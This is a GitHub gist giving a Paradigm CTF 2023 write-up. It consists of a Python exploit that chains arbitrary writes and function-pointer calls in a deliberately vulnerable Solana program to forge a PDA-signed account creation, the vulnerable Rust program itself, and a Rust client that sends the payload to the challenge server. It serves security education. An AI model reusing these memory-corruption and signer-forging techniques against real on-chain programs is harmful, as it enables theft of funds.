Created
November 1, 2023 07:56
-
-
Save push0ebp/e9724fc673011ea8c066904a18b78d75 to your computer and use it in GitHub Desktop.
Paradigm CTF 2023 - Jumpled Otter Problems Write-up
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import * | |
| from base58 import * | |
| context.bits = 64 | |
| REMOTE = int(bool(args.REMOTE)) | |
| encoded_user_pk = args.USER_PK | |
| user_pk = b58decode(encoded_user_pk.encode()) | |
| target_pda_pk = b58decode(b'Ei3Ny8gV2uEtFKL8XzLMkQN5t3Rzhdy9apaAJxAoNAHT') | |
| my_program_id = b58decode(b'osecio1111111111111111111111111111111111111') | |
| CODE_BASE = 0x100000000 | |
| STACK_BASE = 0x200000000 | |
| HEAP_BASE = 0x300000000 | |
| INPUT_BASE = 0x400000000 | |
| INST_ALIGN = 0x100 | |
| write_func = CODE_BASE + 0x2b0 # 00000000000002b0 <chall::write> | |
| process_func = CODE_BASE + 0x180 # 0000000000000180 <chall::process> | |
| syscall_gadget = CODE_BASE + 883 * 8 # sol_invoke_signed_rust callsite | |
| ''' | |
| 883 bf a1 00 00 00 00 00 00 r1 = r10 <- will call here | |
| ; pub fn invoke_signed_unchecked( | |
| 884 07 01 00 00 b0 ff ff ff r1 += -0x50 | |
| ; cratesyscallssol_invoke_signed_rust( | |
| 885 79 a2 78 ff 00 00 00 00 r2 = *(u64 *)(r10 - 0x88) | |
| 886 79 a3 80 ff 00 00 00 00 r3 = *(u64 *)(r10 - 0x80) | |
| 887 79 a4 68 ff 00 00 00 00 r4 = *(u64 *)(r10 - 0x98) | |
| 888 79 a5 70 ff 00 00 00 00 r5 = *(u64 *)(r10 - 0x90) | |
| 889 85 10 00 00 ff ff ff ff call -0x1 | |
| ''' | |
| r10 = STACK_BASE + 0x1000 + 0x52000 # current r10 at the time of calling syscall_gadget | |
| # fun process_instruction(program_id: &Pubkey, accounts: &[AccountInfo], instruction_data: &[u8]) | |
| account_infos = HEAP_BASE + 0x7f40 # accounts parameter address | |
| input_data_start_addr = INPUT_BASE + [0x15f20, 0x15ec8][REMOTE] | |
| write_arg_start_addr = input_data_start_addr + 0x800 # addr write() will refer to | |
| class Exploit(): | |
| def __init__(self): | |
| self.payload = b'' | |
| self.write_arg = b'' | |
| def call(self, addr1, arg1): | |
| self.payload += fit(addr1, arg1) | |
| def process(self, addr1, arg1, addr2, arg2): | |
| self.payload += fit(addr1, arg1, addr2, arg2) | |
| # payload = (process(write_func, &write_arg[i*0x8*2:], process_func, &input_data[i*0x8*4:]) * n | write_arg | |
| def write(self, addr, value): | |
| current_input_data_addr = input_data_start_addr + len(self.payload) | |
| next_input_data_addr = current_input_data_addr + 8 * 4 # size of process()'s data parameter | |
| write_arg_addr = write_arg_start_addr + len(self.write_arg) | |
| self.process(write_func, write_arg_addr, process_func, next_input_data_addr) | |
| write_args = fit([addr, value]) | |
| self.write_arg += write_args | |
| def write_bytes(self, addr, data): | |
| data = fit(data, word_size=8) | |
| data = data.ljust(align(8, len(data)), b'\x00') | |
| for i, value in enumerate(unpack_many(data)): | |
| self.write(addr + (i*8), value) | |
| ex = Exploit() | |
| # stage1 | |
| # r1 <- create_account_ix: &Instruction | |
| # set r1(arg1) <- instruction_addr | |
| # write Instruction to call system_instruction::create_account() | |
| ''' | |
| // exp.rs | |
| let space: u64 = 0x1337; | |
| let lamports_required: u64 = Rent::get()?.minimum_balance(space as usize); | |
| let create_account_ix = system_instruction::create_account( | |
| user.key, // from_pubkey: &Pubkey | |
| &target_pda_pk.key, // to_pubkey: &Pubkey | |
| lamports_required, // lamports: u64 | |
| space, // space: u64 | |
| my_program_id, // owner: &Pubkey | |
| ) | |
| ''' | |
| # write Instruction.accounts: Vec<AccountMeta> | |
| ''' | |
| // solana_program::instruction::AccountMeta | |
| pub struct AccountMeta { | |
| /// An account's public key. | |
| pub pubkey: Pubkey, | |
| /// True if an `Instruction` requires a `Transaction` signature matching `pubkey`. | |
| pub is_signer: bool, | |
| /// True if the account data or metadata may be mutated during program execution. | |
| pub is_writable: bool, | |
| } | |
| ''' | |
| is_signer = True # AccountMeta.is_signer | |
| is_writable = True # # AccountMeta.is_writable | |
| from_account_meta = fit(user_pk, is_signer, is_writable, word_size=8) | |
| to_account_meta = fit(target_pda_pk, is_signer, is_writable, word_size=8) | |
| ''' | |
| // solana_program::system_instruction::create_account() | |
| let account_metas = vec![ | |
| AccountMeta::new(*from_pubkey, true), | |
| AccountMeta::new(*to_pubkey, true), | |
| ]; | |
| ''' | |
| accounts_metas = [from_account_meta, to_account_meta] | |
| accounts_metas_addr = HEAP_BASE + 0x200 | |
| ex.write_bytes(accounts_metas_addr, accounts_metas) | |
| # write Instruction.data: Vec<u8> | |
| ''' | |
| // solana_program::system_instruction::create_acount() | |
| Instruction::new_with_bincode( | |
| system_program::id(), | |
| SystemInstruction::CreateAccount { | |
| /// Number of lamports to transfer to the new account | |
| lamports: u64, | |
| /// Number of bytes of memory to allocate | |
| space: u64, | |
| /// Address of program that will own the new account | |
| owner: Pubkey, | |
| },, | |
| account_metas, | |
| ) | |
| ''' | |
| ins_data_addr = HEAP_BASE + 0x280 | |
| # serialized by bincode::serialize(SystemInstruction::CreateAccount{lamports, space, owner}) | |
| # = bincode::serialize({Rent::get()?.minimum_balance(0x1337), 0x1337, my_program_id}) | |
| ins_data = fit([0, 0, 0, 0, 80, 255, 23, 2, 0, 0, 0, 0, 55, 19, 0, 0, 0, 0, 0, 0, 12, 1, 252, 87, 208, 222, 131, 53, 55, 135, 252, 223, 32, 181, 133, 175, 68, 43, 176, 179, 71, 84, 12, 115, 208, 28, 99, 128, 0, 0, 0, 0], word_size=8) | |
| ex.write_bytes(ins_data_addr, ins_data) | |
| ''' | |
| // solana_program::stable_layout::stable_instruction | |
| pub struct StableInstruction { | |
| pub accounts: StableVec<AccountMeta>, | |
| pub data: StableVec<u8>, | |
| pub program_id: Pubkey, | |
| } | |
| ''' | |
| # write Instruction as StableInstruction | |
| ''' | |
| // solana_program::program::invoke_signed_unchecked | |
| let instruction = StableInstruction::from(instruction.clone()); | |
| ''' | |
| ins_addr = r10 - 0x50 # 884 07 01 00 00 b0 ff ff ff r1 += -0x50 | |
| ex.write_bytes(ins_addr, fit([ | |
| accounts_metas_addr, # StableInstruction.accounts.ptr | |
| len(accounts_metas), # StableInstruction.accounts.len | |
| len(accounts_metas), # StableInstruction.accounts.capacity | |
| ins_data_addr, # StableInstruction.data.ptr | |
| len(ins_data), # StableInstruction.data.len | |
| len(ins_data), # StableInstruction.data.capacity | |
| ])) | |
| system_program_id = b58decode('11111111111111111111111111111111') # system_program::id() | |
| ex.write_bytes(ins_addr + 0x30, system_program_id) # StableInstruction.data.program_id | |
| # stage2 | |
| # r2, r3 <- &[user.clone(), target_pda.clone(), system_program.clone()]: &[AccountInfo]; | |
| # set r2(arg2) <- account_infos_addr | |
| # 885 79 a2 78 ff 00 00 00 00 r2 = *(u64 *)(r10 - 0x88) | |
| ex.write(r10 - 0x88, account_infos) | |
| # set r3(arg3) <- account_infos_len | |
| # 886 79 a3 80 ff 00 00 00 00 r3 = *(u64 *)(r10 - 0x80) | |
| ACCOUNT_INFOS_LEN = 3 | |
| ex.write(r10 - 0x80, ACCOUNT_INFOS_LEN) | |
| # stage3 | |
| # r4, r5 = &[&[&b"FLAG"[..]]]: &[&[&[u8]]] | |
| # set r4(arg4) <- signers_seeds_addr | |
| signers_seeds_ptr = HEAP_BASE + 0x400 # &[&"FLAG"[..]] | |
| seed_slice_ptr = signers_seeds_ptr + 0x10 # &"FLAG"[..] | |
| ex.write(signers_seeds_ptr, seed_slice_ptr) # *[&"FLAG"[..]].ptr <- &"FLAG"[..] | |
| ex.write(signers_seeds_ptr + 0x8, 1) # [&"FLAG"[..]].len <- 1 | |
| seed_addr = signers_seeds_ptr + 0x20 # &b"FLAG" | |
| SEED = b'FLAG' | |
| ex.write(seed_slice_ptr, seed_addr) # "FLAG"[..].ptr <- &b"FLAG" | |
| ex.write(signers_seeds_ptr + 0x18, len(SEED)) # "FLAG"[..].len <- b"FLAG".len | |
| ex.write(seed_addr, u32(SEED)) # b"FLAG" | |
| # 887 79 a4 68 ff 00 00 00 00 r4 = *(u64 *)(r10 - 0x98) | |
| ex.write(r10 - 0x98, signers_seeds_ptr) # signers_seeds_addr = [&[&"FLAG"[..]]].ptr | |
| # set r5(arg5) = signers_seeds_len | |
| # 888 79 a5 70 ff 00 00 00 00 r5 = *(u64 *)(r10 - 0x90) | |
| ex.write(r10 - 0x90, 1) # [&[&"FLAG"[..]]].len | |
| # to reach exit normally | |
| ex.write(r10 - 0x78, STACK_BASE) # 895 79 a1 88 ff 00 00 00 00 r1 = *(u64 *)(r10 - 0x78) | |
| ex.write(r10 - 0x48, STACK_BASE) # 898 79 a2 b8 ff 00 00 00 00 r2 = *(u64 *)(r10 - 0x48) | |
| ex.write(r10 - 0x30, STACK_BASE) # 904 79 a2 d0 ff 00 00 00 00 r2 = *(u64 *)(r10 - 0x30) | |
| ex.call(syscall_gadget, 0) # call sol_invoke_signed_rust | |
| pda_data_addr = INPUT_BASE + 0x28c0 # target_pda.data.borrow_mut(); | |
| ex.write(pda_data_addr, 0x4337) # target_pda[..8].copy_from_slice(&value.to_le_bytes()); | |
| ex.payload = ex.payload.ljust(INST_ALIGN * 8, b'\x00') | |
| ex.payload += ex.write_arg | |
| write('payload.bin', ex.payload) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // framework/chall/src/lib.rs | |
| use solana_program::{instruction::Instruction, program::invoke_signed_unchecked, pubkey, account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, pubkey::Pubkey, msg}; | |
| use solana_program::{ | |
| account_info::next_account_info, | |
| system_instruction, | |
| }; | |
| use solana_program::sysvar::rent::Rent; | |
| use solana_program::sysvar::Sysvar; | |
| pub const ID: Pubkey = pubkey!("osecio1111111111111111111111111111111111111"); | |
| pub const SYS_ACC: Pubkey = pubkey!("11111111111111111111111111111111"); | |
| // declare and export the program's entrypoint | |
| entrypoint!(process_instruction); | |
| #[inline(never)] | |
| pub fn process(mut data: &[u8]) { | |
| unsafe { | |
| let ptr = std::mem::transmute::<[u8; 8], fn(u64)>(data[..8].try_into().unwrap()); | |
| let val = std::mem::transmute::<[u8; 8], u64>(data[8..16].try_into().unwrap()); | |
| ptr(val); | |
| data = &data[16..]; | |
| let ptr = std::mem::transmute::<[u8; 8], fn(u64)>(data[..8].try_into().unwrap()); | |
| let val = std::mem::transmute::<[u8; 8], u64>(data[8..16].try_into().unwrap()); | |
| ptr(val); | |
| } | |
| } | |
| #[inline(never)] | |
| pub fn write(data: &[u8]) { | |
| unsafe { | |
| let ptr = std::mem::transmute::<[u8; 8], *mut u64>(data[..8].try_into().unwrap()); | |
| let val = std::mem::transmute::<[u8; 8], u64>(data[8..16].try_into().unwrap()); | |
| ptr.write_volatile(val); | |
| } | |
| } | |
| #[inline(never)] | |
| pub fn process_instruction( | |
| program_id: &Pubkey, | |
| accounts: &[AccountInfo], | |
| _data: &[u8] | |
| ) -> ProgramResult { | |
| let mut account_iter = accounts.iter(); | |
| let user = next_account_info(&mut account_iter)?; | |
| let target_pda = next_account_info(&mut account_iter)?; | |
| let system_program = next_account_info(&mut account_iter)?; | |
| let space: u64 = 0x1337; | |
| let lamports_required = Rent::get()?.minimum_balance(space as usize); | |
| let create_account_ix = system_instruction::create_account( | |
| user.key, | |
| &target_pda.key, | |
| lamports_required, | |
| space, | |
| program_id, | |
| ); | |
| invoke_signed_unchecked( | |
| &create_account_ix, | |
| &[user.clone(), target_pda.clone(), system_program.clone()], | |
| &[&[&b"FLAG"[..]]], | |
| )?; | |
| let value: u64 = 0x4337; | |
| let mut target_pda_data = target_pda.data.borrow_mut(); | |
| target_pda_data[..8].copy_from_slice(&value.to_le_bytes()); | |
| Ok(()) | |
| } | |
| #[inline(never)] | |
| pub fn call(data: &[u8]) { | |
| let ix = Instruction { | |
| program_id: pubkey!("osecio5555555555555551111111111111111111111"), | |
| data: data.try_into().unwrap(), | |
| accounts: vec![] | |
| }; | |
| invoke_signed_unchecked( | |
| &ix, | |
| &[], | |
| &[], | |
| ).unwrap(); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // framework-solve/src/main.rs | |
| use solana_program::{instruction::AccountMeta, pubkey::Pubkey, system_program, pubkey}; | |
| use std::net::TcpStream; | |
| use std::{error::Error, io::prelude::*, io::BufReader, str::FromStr}; | |
| use std::process::Command; | |
| use std::fs::File; | |
| fn get_line<R: Read>(reader: &mut BufReader<R>) -> Result<String, Box<dyn Error>> { | |
| let mut line = String::new(); | |
| reader.read_line(&mut line)?; | |
| let ret = line | |
| .split(':') | |
| .nth(1) | |
| .ok_or("invalid input")? | |
| .trim() | |
| .to_string(); | |
| Ok(ret) | |
| } | |
| fn main() -> Result<(), Box<dyn Error>> { | |
| println!("running"); | |
| // let mut stream = TcpStream::connect("localhost:1337")?; | |
| let mut stream = TcpStream::connect("jotterp.challenges.paradigm.xyz:1337")?; | |
| let mut reader = BufReader::new(stream.try_clone().unwrap()); | |
| let mut line = String::new(); | |
| let s = &get_line(&mut reader)?; | |
| let _user = Pubkey::from_str(s)?; | |
| // TODO | |
| let program_id = pubkey!("osecio1111111111111111111111111111111111111"); | |
| let target_pda = Pubkey::create_program_address(&["FLAG".as_ref()], &program_id)?; | |
| let mut data: Vec<u8> = vec![]; | |
| let cmd = Command::new("python3") | |
| .arg("exp.py") | |
| .arg(format!("USER_PK={}", s)) | |
| .arg("REMOTE=1") | |
| .output()?; | |
| println!("{}", String::from_utf8(cmd.stdout).unwrap()); | |
| println!("{}", String::from_utf8(cmd.stderr).unwrap()); | |
| let mut file = File::open("payload.bin")?; | |
| file.read_to_end(&mut data)?; | |
| let metas: Vec<AccountMeta> = vec![ | |
| AccountMeta::new(_user, true), | |
| AccountMeta::new(target_pda, false), | |
| AccountMeta::new_readonly(system_program::ID, false), | |
| AccountMeta::new(program_id, false), | |
| ]; | |
| // TODO | |
| reader.read_line(&mut line)?; | |
| writeln!(stream, "{}", metas.len())?; | |
| for meta in metas { | |
| let mut meta_str = String::new(); | |
| meta_str.push('m'); | |
| if meta.is_writable { | |
| meta_str.push('w'); | |
| } | |
| if meta.is_signer { | |
| meta_str.push('s'); | |
| } | |
| meta_str.push(' '); | |
| meta_str.push_str(&meta.pubkey.to_string()); | |
| println!("{:?}", &meta.pubkey.to_string()); | |
| writeln!(stream, "{}", meta_str)?; | |
| stream.flush()?; | |
| } | |
| reader.read_line(&mut line)?; | |
| writeln!(stream, "{}", data.len())?; | |
| stream.write_all(&data)?; | |
| stream.flush()?; | |
| line.clear(); | |
| while reader.read_line(&mut line)? != 0 { | |
| print!("{}", line); | |
| line.clear(); | |
| } | |
| Ok(()) | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment